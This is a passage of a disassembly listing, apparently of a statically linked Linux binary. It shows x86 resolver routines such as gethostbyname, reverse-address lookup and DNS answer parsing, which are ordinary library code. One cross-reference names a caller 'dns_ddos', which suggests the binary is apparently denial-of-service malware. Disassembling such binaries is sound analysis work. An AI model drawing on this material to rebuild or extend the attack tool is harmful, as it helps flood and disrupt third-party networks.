		mov	eax, [ebp+var_10C]
		push	eax
		mov	edx, [ebp+arg_8]
		jmp	short loc_804BC8D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BC18:				; CODE XREF: sub_804B800+408j
		mov	edx, [ebp+var_11C]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dn_expand
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jge	short loc_804BC4C
		inc	[ebp+var_128]
		jmp	loc_804BDE0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BC4C:				; CODE XREF: sub_804B800+43Ej
		mov	edx, [ebp+var_10C]
		mov	ds:dword_8079E74, edx

loc_804BC58:				; CODE XREF: sub_804B800+66Ej
					; sub_804B800+68Fj
		mov	eax, offset dword_8079E74
		jmp	loc_804BEA0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BC64:				; CODE XREF: sub_804B800+3E3j
		mov	eax, [ebp+var_10C]
		push	eax
		mov	edx, ds:dword_8079E74
		push	edx
		call	strcasecmp
		mov	ecx, eax
		add	esp, 8
		test	ecx, ecx
		jz	short loc_804BCBC
		mov	eax, [ebp+var_10C]
		push	eax
		mov	edx, ds:dword_8079E74

loc_804BC8D:				; CODE XREF: sub_804B800+414j
		push	edx
		push	offset aGethostby_ge_1 ; "gethostby*.getanswer:	asked for \"%s\", g"...
		push	1Ah
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		add	esp, 10h
		mov	ecx, eax
		push	ecx
		push	25h
		call	sub_8054EB0
		add	esi, ebx
		add	esp, 10h
		jmp	loc_804BDEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BCBC:				; CODE XREF: sub_804B800+47Ej
		cmp	[ebp+var_124], 0
		jz	short loc_804BCD4
		cmp	ds:dword_8079E80, ebx
		jz	short loc_804BD2C
		jmp	loc_804BDA7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BCD4:				; CODE XREF: sub_804B800+4C3j
		mov	ds:dword_8079E80, ebx
		mov	ecx, offset dword_8079E7C
		cmp	[ebp+var_118], 1
		jnz	short loc_804BCF4
		mov	ds:dword_8079E7C, 2
		jmp	short loc_804BCFA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BCF4:				; CODE XREF: sub_804B800+4E6j
		mov	dword ptr [ecx], 0

loc_804BCFA:				; CODE XREF: sub_804B800+4F2j
		mov	edx, [ebp+var_10C]
		mov	ds:dword_8079E74, edx
		mov	edi, [ebp+var_10C]
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	[ebp+var_138], ecx
		add	edx, ecx
		mov	[ebp+var_10C], edx
		sub	[ebp+var_11C], ecx

loc_804BD2C:				; CODE XREF: sub_804B800+4CBj
		mov	eax, [ebp+var_10C]
		add	eax, 4
		mov	edx, [ebp+var_10C]
		and	edx, 3
		sub	eax, edx
		mov	[ebp+var_10C], eax
		mov	eax, [ebp+var_10C]
		add	eax, ebx
		cmp	eax, offset unk_807A315
		jb	short loc_804BD74
		test	byte ptr dword_807854C,	2
		jz	short loc_804BD6C
		push	ebx
		push	offset aSizeDTooBig ; "size (%d) too big\n"
		call	sub_804F7EC
		add	esp, 8

loc_804BD6C:				; CODE XREF: sub_804B800+196j
					; sub_804B800+22Aj ...
		inc	[ebp+var_128]
		jmp	short loc_804BDEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BD74:				; CODE XREF: sub_804B800+553j
		cmp	[ebp+var_114], offset unk_8079E6C
		jb	short loc_804BDAC
		test	byte ptr dword_807854C,	2
		jz	short loc_804BDA7
		inc	[ebp+var_12C]
		cmp	[ebp+var_12C], 1
		jnz	short loc_804BDA7
		push	23h
		push	offset aTooManyAddress ; "Too many addresses (%d)\n"
		call	sub_804F7EC
		add	esp, 8

loc_804BDA7:				; CODE XREF: sub_804B800+1DDj
					; sub_804B800+4CDj ...
		add	esi, ebx
		jmp	short loc_804BDEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BDAC:				; CODE XREF: sub_804B800+57Ej
		push	ebx
		mov	eax, [ebp+var_10C]
		mov	edx, [ebp+var_114]
		mov	[edx], eax
		push	eax
		add	edx, 4
		mov	[ebp+var_114], edx
		push	esi
		call	bcopy
		add	[ebp+var_10C], ebx
		add	esi, ebx
		add	esp, 0Ch
		jmp	short loc_804BDE0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BDD8:				; CODE XREF: sub_804B800+3E8j
		call	abort
		lea	esi, [esi+0]

loc_804BDE0:				; CODE XREF: sub_804B800+446j
					; sub_804B800+5D6j
		cmp	[ebp+var_128], 0
		jnz	short loc_804BDEF
		inc	[ebp+var_124]

loc_804BDEF:				; CODE XREF: sub_804B800+200j
					; sub_804B800+288j ...
		mov	eax, [ebp+var_120]
		dec	[ebp+var_120]
		test	eax, eax
		jle	short loc_804BE14
		cmp	[ebp+var_108], esi
		jbe	short loc_804BE14
		cmp	[ebp+var_128], 0
		jz	loc_804B970

loc_804BE14:				; CODE XREF: sub_804B800+15Dj
					; sub_804B800+169j ...
		cmp	[ebp+var_124], 0
		jz	short loc_804BE94
		mov	edx, [ebp+var_110]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_114]
		mov	dword ptr [eax], 0
		test	byte_80786A8, 0F0h
		jz	short loc_804BE67
		cmp	[ebp+var_124], 1
		jle	short loc_804BE67
		cmp	[ebp+arg_C], 1
		jnz	short loc_804BE67
		cmp	[ebp+arg_10], 1
		jnz	short loc_804BE67
		mov	edx, [ebp+var_124]
		push	edx
		push	offset dword_8079DE4
		call	sub_804CBE4
		add	esp, 8

loc_804BE67:				; CODE XREF: sub_804B800+63Cj
					; sub_804B800+645j ...
		cmp	ds:dword_8079E74, 0
		jnz	loc_804BC58
		mov	eax, [ebp+arg_8]
		push	eax
		mov	edx, [ebp+var_10C]
		push	edx
		call	strcpy
		mov	eax, [ebp+var_10C]
		mov	ds:dword_8079E74, eax
		jmp	loc_804BC58
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BE94:				; CODE XREF: sub_804B800+61Bj
		mov	ds:dword_807E788, 2

loc_804BE9E:				; CODE XREF: sub_804B800+7Aj
					; sub_804B800+B2j
		xor	eax, eax

loc_804BEA0:				; CODE XREF: sub_804B800+45Dj
		lea	esp, [ebp+var_144]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804B800	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		cmp	dword_80784F8, 0
		jnz	short loc_804BEC4
		call	init_services

loc_804BEC4:				; CODE XREF: .text:0804BEBDj
		xor	edi, edi
		cmp	ds:dword_8079DD4, 0
		jz	loc_804BF73
		mov	esi, offset dword_8079DD4

loc_804BED8:				; CODE XREF: .text:0804BF6Dj
		cmp	edi, 3
		jg	loc_804BF73
		mov	eax, [esi]
		cmp	eax, 2
		jz	short loc_804BEF4
		jle	short loc_804BF66
		cmp	eax, 3
		jz	short loc_804BF1C
		jmp	short loc_804BF66
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BEF4:				; CODE XREF: .text:0804BEE6j
		call	_gethtent
		mov	ebx, eax
		cmp	ds:dword_8079DE8, 0
		jz	short loc_804BF16
		cmp	dword_807851C, 0
		jz	short loc_804BF16
		push	ebx
		call	sub_804A5CC
		add	esp, 4

loc_804BF16:				; CODE XREF: .text:0804BF02j
					; .text:0804BF0Bj
		test	ebx, ebx
		jnz	short loc_804BF4C
		jmp	short loc_804BF5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BF1C:				; CODE XREF: .text:0804BEEDj
		push	offset aHosts_byname ; "hosts.byname"
		push	0
		call	sub_804C9E4
		mov	ebx, eax
		add	esp, 8
		cmp	ds:dword_8079DE8, 0
		jz	short loc_804BF48
		cmp	dword_807851C, 0
		jz	short loc_804BF48
		push	ebx
		call	sub_804A5CC
		add	esp, 4

loc_804BF48:				; CODE XREF: .text:0804BF34j
					; .text:0804BF3Dj
		test	ebx, ebx
		jz	short loc_804BF5C

loc_804BF4C:				; CODE XREF: .text:0804BF18j
		mov	ds:dword_807E788, 0
		mov	eax, ebx
		jmp	short loc_804BF75
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BF5C:				; CODE XREF: .text:0804BF1Aj
					; .text:0804BF4Aj
		mov	ds:dword_807E788, 1

loc_804BF66:				; CODE XREF: .text:0804BEE8j
					; .text:0804BEEFj
		add	esi, 4
		inc	edi
		cmp	dword ptr [esi], 0
		jnz	loc_804BED8

loc_804BF73:				; CODE XREF: .text:0804BECDj
					; .text:0804BEDBj
		xor	eax, eax

loc_804BF75:				; CODE XREF: .text:0804BF58j
		lea	esp, [ebp-0Ch]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

gethostbyname	proc near		; CODE XREF: gethostbyname_+7p
					; dns_ddos+F1p	...

var_410		= byte ptr -410h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_0]
		movzx	edx, byte ptr [edx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jz	loc_804C058
		mov	ecx, [ebp+arg_0]
		jmp	loc_804C049
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BFAC:				; CODE XREF: gethostbyname+D2j
		mov	edx, [ebp+arg_0]
		push	edx
		call	inet_addr
		mov	ds:dword_807A318, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_804BFD0
		mov	ds:dword_807E788, 1
		jmp	loc_804C225
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BFD0:				; CODE XREF: gethostbyname+3Dj
		mov	edx, [ebp+arg_0]
		mov	ds:dword_8079E74, edx
		mov	ds:dword_8079E78, offset dword_8079E88
		mov	ds:dword_8079E88, 0
		mov	ds:dword_8079E7C, 2
		mov	ds:dword_8079E80, 4
		mov	ds:dword_8079DE4, offset dword_807A318
		mov	ds:dword_8079DE8, 0
		mov	ds:dword_8079E84, offset dword_8079DE4
		mov	ds:dword_807E788, 0
		mov	eax, offset dword_8079E74
		jmp	loc_804C227
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C034:				; CODE XREF: gethostbyname+CCj
		movzx	edx, byte ptr [ecx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jnz	short loc_804C048
		cmp	byte ptr [ecx],	2Eh
		jnz	short loc_804C058

loc_804C048:				; CODE XREF: gethostbyname+C1j
		inc	ecx

loc_804C049:				; CODE XREF: gethostbyname+25j
		cmp	byte ptr [ecx],	0
		jnz	short loc_804C034
		cmp	byte ptr [ecx-1], 2Eh
		jnz	loc_804BFAC

loc_804C058:				; CODE XREF: gethostbyname+1Cj
					; gethostbyname+C6j
		cmp	dword_80784F8, 0
		jnz	short loc_804C066
		call	init_services

loc_804C066:				; CODE XREF: gethostbyname+DFj
		xor	edi, edi
		cmp	ds:dword_8079DD4, 0
		jz	loc_804C225
		lea	esi, [esi+0]

loc_804C078:				; CODE XREF: gethostbyname+29Fj
		cmp	edi, 3
		jg	loc_804C225
		mov	eax, ds:dword_8079DD4[edi*4]
		cmp	eax, 2
		jz	loc_804C134
		jg	short loc_804C0A0
		cmp	eax, 1
		jz	short loc_804C0B0
		jmp	loc_804C216
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C0A0:				; CODE XREF: gethostbyname+111j
		cmp	eax, 3
		jz	loc_804C194
		jmp	loc_804C216
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C0B0:				; CODE XREF: gethostbyname+116j
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	1
		push	1
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_804E180
		add	esp, 14h
		test	eax, eax
		jge	short loc_804C0F0
		test	byte ptr dword_807854C,	2
		jz	loc_804C216
		push	offset aRes_searchFail ; "res_search failed\n"
		call	sub_804F7EC
		add	esp, 4
		jmp	loc_804C216
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C0F0:				; CODE XREF: gethostbyname+14Ej
		push	1
		push	1
		mov	edx, [ebp+arg_0]
		push	edx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_804B800
		mov	esi, eax
		add	esp, 14h
		cmp	ds:dword_8079DE8, 0
		jz	short loc_804C125
		cmp	dword_807851C, 0
		jz	short loc_804C125
		push	esi
		call	sub_804A5CC
		add	esp, 4

loc_804C125:				; CODE XREF: gethostbyname+191j
					; gethostbyname+19Aj
		test	esi, esi
		jz	loc_804C216
		jmp	loc_804C1FA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C134:				; CODE XREF: gethostbyname+10Bj
		cmp	ds:dword_807A348, 0
		jz	short loc_804C164
		mov	edx, [ebp+arg_0]
		push	edx
		call	strdup
		mov	ebx, eax
		push	ebx
		call	sub_804A4F4
		push	ebx
		call	sub_804C6FC
		mov	esi, eax
		push	ebx
		call	free
		add	esp, 10h
		jmp	short loc_804C172
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C164:				; CODE XREF: gethostbyname+1BBj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_804C6FC
		mov	esi, eax
		add	esp, 4

loc_804C172:				; CODE XREF: gethostbyname+1DFj
		cmp	ds:dword_8079DE8, 0
		jz	short loc_804C18D
		cmp	dword_807851C, 0
		jz	short loc_804C18D
		push	esi
		call	sub_804A5CC
		add	esp, 4

loc_804C18D:				; CODE XREF: gethostbyname+1F9j
					; gethostbyname+202j
		test	esi, esi
		jnz	short loc_804C1FA
		jmp	short loc_804C20C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C194:				; CODE XREF: gethostbyname+123j
		cmp	ds:dword_807A348, 0
		jz	short loc_804C1C8
		mov	edx, [ebp+arg_0]
		push	edx
		call	strdup
		mov	ebx, eax
		push	ebx
		call	sub_804A4F4
		push	offset aHosts_byname ; "hosts.byname"
		push	ebx
		call	sub_804C9E4
		mov	esi, eax
		push	ebx
		call	free
		add	esp, 14h
		jmp	short loc_804C1DB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C1C8:				; CODE XREF: gethostbyname+21Bj
		push	offset aHosts_byname ; "hosts.byname"
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_804C9E4
		mov	esi, eax
		add	esp, 8

loc_804C1DB:				; CODE XREF: gethostbyname+244j
		cmp	ds:dword_8079DE8, 0
		jz	short loc_804C1F6
		cmp	dword_807851C, 0
		jz	short loc_804C1F6
		push	esi
		call	sub_804A5CC
		add	esp, 4

loc_804C1F6:				; CODE XREF: gethostbyname+262j
					; gethostbyname+26Bj
		test	esi, esi
		jz	short loc_804C20C

loc_804C1FA:				; CODE XREF: gethostbyname+1ADj
					; gethostbyname+20Fj
		mov	ds:dword_807E788, 0
		push	esi
		call	sub_804A580
		jmp	short loc_804C227
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C20C:				; CODE XREF: gethostbyname+211j
					; gethostbyname+278j
		mov	ds:dword_807E788, 1

loc_804C216:				; CODE XREF: gethostbyname+118j
					; gethostbyname+129j ...
		inc	edi
		cmp	ds:dword_8079DD4[edi*4], 0
		jnz	loc_804C078

loc_804C225:				; CODE XREF: gethostbyname+49j
					; gethostbyname+EFj ...
		xor	eax, eax

loc_804C227:				; CODE XREF: gethostbyname+AEj
					; gethostbyname+28Aj
		lea	esp, [ebp+var_410]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
gethostbyname	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		sub	esp, 608h
		push	edi
		push	esi
		push	ebx
		cmp	dword ptr [ebp+10h], 2
		jz	short loc_804C26C
		mov	ds:dword_807E788, 0FFFFFFFFh
		jmp	loc_804C526
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C258:				; CODE XREF: .text:0804C507j
		mov	ds:dword_807E788, 0
		mov	eax, edi
		jmp	loc_804C528
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C26C:				; CODE XREF: .text:0804C244j
		cmp	dword_80784F8, 0
		jnz	short loc_804C27A
		call	init_services

loc_804C27A:				; CODE XREF: .text:0804C273j
		call	libc_nls_init
		xor	esi, esi
		cmp	ds:dword_8079DD4, 0
		jz	loc_804C526
		lea	ebx, [ebp-500h]
		lea	ecx, [ebp-604h]
		mov	[ebp-608h], ecx

loc_804C2A0:				; CODE XREF: .text:0804C520j
		mov	eax, ds:dword_8079DD4[esi*4]
		cmp	eax, 2
		jz	loc_804C4BC
		jg	short loc_804C2BC
		cmp	eax, 1
		jz	short loc_804C2CC
		jmp	loc_804C517
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C2BC:				; CODE XREF: .text:0804C2B0j
		cmp	eax, 3
		jz	loc_804C4D4
		jmp	loc_804C517
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C2CC:				; CODE XREF: .text:0804C2B5j
		mov	ecx, [ebp+8]
		movzx	eax, byte ptr [ecx]
		push	eax
		movzx	eax, byte ptr [ecx+1]
		push	eax
		movzx	eax, byte ptr [ecx+2]
		push	eax
		movzx	eax, byte ptr [ecx+3]
		push	eax
		push	offset aU_U_U_U_inAddr ; "%u.%u.%u.%u.in-addr.arpa"
		push	ebx
		call	sprintf
		push	400h
		lea	eax, [ebp-400h]
		push	eax
		push	0Ch
		push	1
		push	ebx
		call	res_query
		add	esp, 2Ch
		test	eax, eax
		jge	short loc_804C32C
		test	byte ptr dword_807854C,	2
		jz	loc_804C517
		push	offset aRes_queryFaile ; "res_query failed\n"
		call	sub_804F7EC
		add	esp, 4
		jmp	loc_804C517
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C32C:				; CODE XREF: .text:0804C308j
		push	0Ch
		push	1
		push	ebx
		push	eax
		lea	eax, [ebp-400h]
		push	eax
		call	sub_804B800
		mov	edi, eax
		add	esp, 14h
		test	edi, edi
		jz	loc_804C50D
		cmp	dword_8078514, 0
		jz	loc_804C480
		mov	edx, [edi]
		xor	al, al
		mov	edi, edx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		lea	esi, [eax-1]
		cmp	esi, 0FFh
		jg	loc_804C526
		push	edx
		mov	ecx, [ebp-608h]
		push	ecx
		call	strcpy
		mov	byte ptr [esi+ebp-604h], 2Eh
		mov	byte ptr [esi+ebp-603h], 0
		mov	ebx, dword_8078520
		mov	dword_8078520, 0
		mov	ecx, [ebp-608h]
		push	ecx
		call	gethostbyname
		mov	edi, eax
		mov	dword_8078520, ebx
		mov	byte ptr [esi+ebp-604h], 0
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_804C3DF
		mov	eax, [edi]
		push	eax
		mov	ecx, [ebp-608h]
		push	ecx
		call	strcmp
		add	esp, 8
		test	eax, eax
		jz	short loc_804C3F0

loc_804C3DF:				; CODE XREF: .text:0804C3C7j
		mov	ds:dword_807E788, 1
		jmp	loc_804C526
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C3F0:				; CODE XREF: .text:0804C3DDj
		mov	ebx, [edi+10h]
		cmp	dword ptr [ebx], 0
		jz	short loc_804C41B

loc_804C3F8:				; CODE XREF: .text:0804C419j
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	ecx, [ebp+8]
		push	ecx
		mov	eax, [ebx]
		push	eax
		call	bcmp
		add	esp, 0Ch
		test	eax, eax
		jz	loc_804C4AA
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_804C3F8

loc_804C41B:				; CODE XREF: .text:0804C3F6j
		mov	ds:dword_807E788, 1
		cmp	dword_8078518, 0
		jz	loc_804C526
		push	20h
		push	1
		push	offset aResolv	; "resolv"
		call	sub_80552B0
		mov	ecx, [ebp+8]
		movzx	eax, byte ptr [ecx+3]
		push	eax
		movzx	eax, byte ptr [ecx+2]
		push	eax
		movzx	eax, byte ptr [ecx+1]
		push	eax
		movzx	eax, byte ptr [ecx]
		push	eax
		mov	eax, [edi]
		push	eax
		push	offset aGethostbyaddrS ; "gethostbyaddr: %s != %u.%u.%u.%u, possi"...
		push	10h
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		add	esp, 10h
		push	eax
		push	5
		call	sub_8054EB0
		jmp	loc_804C526
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C480:				; CODE XREF: .text:0804C352j
		mov	ecx, [ebp+10h]
		mov	[edi+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	[edi+0Ch], ecx
		mov	ds:dword_8079DE4, offset dword_807A318
		mov	ds:dword_8079DE8, 0
		mov	ecx, [ebp+8]
		mov	eax, [ecx]
		mov	ds:dword_807A318, eax

loc_804C4AA:				; CODE XREF: .text:0804C40Dj
		mov	ds:dword_807E788, 0
		push	edi
		call	sub_804A580
		jmp	short loc_804C528
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C4BC:				; CODE XREF: .text:0804C2AAj
		mov	ecx, [ebp+10h]
		push	ecx
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_804CB94
		mov	edi, eax
		add	esp, 0Ch
		jmp	short loc_804C505
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C4D4:				; CODE XREF: .text:0804C2BFj
		mov	ecx, [ebp+8]
		movzx	eax, byte ptr [ecx+3]
		push	eax
		movzx	eax, byte ptr [ecx+2]
		push	eax
		movzx	eax, byte ptr [ecx+1]
		push	eax
		movzx	eax, byte ptr [ecx]
		push	eax
		push	offset aU_U_U_U_0 ; "%u.%u.%u.%u"
		push	ebx
		call	sprintf
		push	offset aHosts_byaddr ; "hosts.byaddr"
		push	ebx
		call	sub_804C9E4
		mov	edi, eax
		add	esp, 20h

loc_804C505:				; CODE XREF: .text:0804C4D2j
		test	edi, edi
		jnz	loc_804C258

loc_804C50D:				; CODE XREF: .text:0804C345j
		mov	ds:dword_807E788, 1

loc_804C517:				; CODE XREF: .text:0804C2B7j
					; .text:0804C2C5j ...
		inc	esi
		cmp	ds:dword_8079DD4[esi*4], 0
		jnz	loc_804C2A0

loc_804C526:				; CODE XREF: .text:0804C250j
					; .text:0804C288j ...
		xor	eax, eax

loc_804C528:				; CODE XREF: .text:0804C264j
					; .text:0804C4BAj
		lea	esp, [ebp-614h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000003C BYTES: COLLAPSED FUNCTION _setprotoent. PRESS KEYPAD "+" TO	EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804C574	proc near		; CODE XREF: sub_804C6FC+1DCp
					; sub_804C6FC+1F4p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_8078508, 0
		jz	short loc_804C59E
		cmp	dword_807850C, 0
		jnz	short loc_804C59E
		mov	eax, dword_8078508
		push	eax
		call	_IO_fclose
		mov	dword_8078508, 0

loc_804C59E:				; CODE XREF: sub_804C574+Aj
					; sub_804C574+13j
		mov	esp, ebp
		pop	ebp
		retn
sub_804C574	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000158 BYTES: COLLAPSED FUNCTION _gethtent. PRESS KEYPAD "+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804C6FC	proc near		; CODE XREF: gethostbyname+1CFp
					; gethostbyname+1E8p

var_84		= byte ptr -84h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 78h
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	[ebp+var_64], 0
		mov	[ebp+var_4C], offset dword_8079BB8
		mov	[ebp+var_50], offset dword_8079C48
		mov	ds:dword_8079BB8, 0
		mov	ds:dword_8079C48, 0
		mov	[ebp+var_54], offset unk_80793B4
		mov	[ebp+var_58], offset unk_80797B5
		mov	[ebp+var_5C], 401h
		mov	[ebp+var_60], 401h
		mov	ds:dword_8079CEC, 0
		mov	ds:dword_8079CF0, 0
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset unk_8079D78
		call	strcpy
		push	40h
		lea	ebx, [ebp+var_40]
		push	ebx
		call	__gethostname
		push	0
		call	_setprotoent
		add	esp, 14h
		mov	[ebp+var_68], ebx
		lea	esi, [esi]

loc_804C788:				; CODE XREF: sub_804C6FC+190j
					; sub_804C6FC+1D4j
		call	_gethtent
		mov	esi, eax
		test	esi, esi
		jz	loc_804C8D8
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	eax, [esi]
		push	eax
		call	strcasecmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_804C7B0
		inc	edi
		jmp	short loc_804C7ED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C7B0:				; CODE XREF: sub_804C6FC+ACj
		mov	ebx, [esi+4]
		cmp	dword ptr [ebx], 0
		jz	short loc_804C7ED

loc_804C7B8:				; CODE XREF: sub_804C6FC+EFj
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx]
		push	eax
		call	strcasecmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_804C7E5
		inc	edi
		mov	ecx, [ebp+arg_0]
		mov	ds:dword_8079CEC, ecx
		mov	eax, [esi]
		push	eax
		push	offset unk_8079D78
		call	strcpy
		add	esp, 8

loc_804C7E5:				; CODE XREF: sub_804C6FC+CDj
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_804C7B8

loc_804C7ED:				; CODE XREF: sub_804C6FC+AFj
					; sub_804C6FC+BAj
		mov	edx, [ebp+var_68]
		push	edx
		mov	eax, [esi]
		push	eax
		call	strcasecmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_804C808
		inc	[ebp+var_64]
		jmp	short loc_804C82E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C808:				; CODE XREF: sub_804C6FC+102j
		mov	ebx, [esi+4]
		cmp	dword ptr [ebx], 0
		jz	short loc_804C82E

loc_804C810:				; CODE XREF: sub_804C6FC+130j
		mov	ecx, [ebp+var_68]
		push	ecx
		mov	eax, [ebx]
		push	eax
		call	strcasecmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_804C826
		inc	[ebp+var_64]

loc_804C826:				; CODE XREF: sub_804C6FC+125j
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_804C810

loc_804C82E:				; CODE XREF: sub_804C6FC+107j
					; sub_804C6FC+112j
		test	edi, edi
		jz	short loc_804C888
		cmp	dword_8078510, 0
		jz	loc_804C8F0
		mov	ebx, [esi+0Ch]
		mov	eax, [esi+8]
		mov	ds:dword_8079CE0, eax
		mov	eax, [esi+0Ch]
		mov	ds:dword_8079CE4, eax
		cmp	[ebp+var_5C], ebx
		jl	short loc_804C886
		push	ebx
		mov	edx, [ebp+var_54]
		push	edx
		mov	eax, [esi+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy
		mov	edx, [ebp+var_54]
		mov	ecx, [ebp+var_4C]
		mov	[ecx], edx
		add	ecx, 4
		mov	[ebp+var_4C], ecx
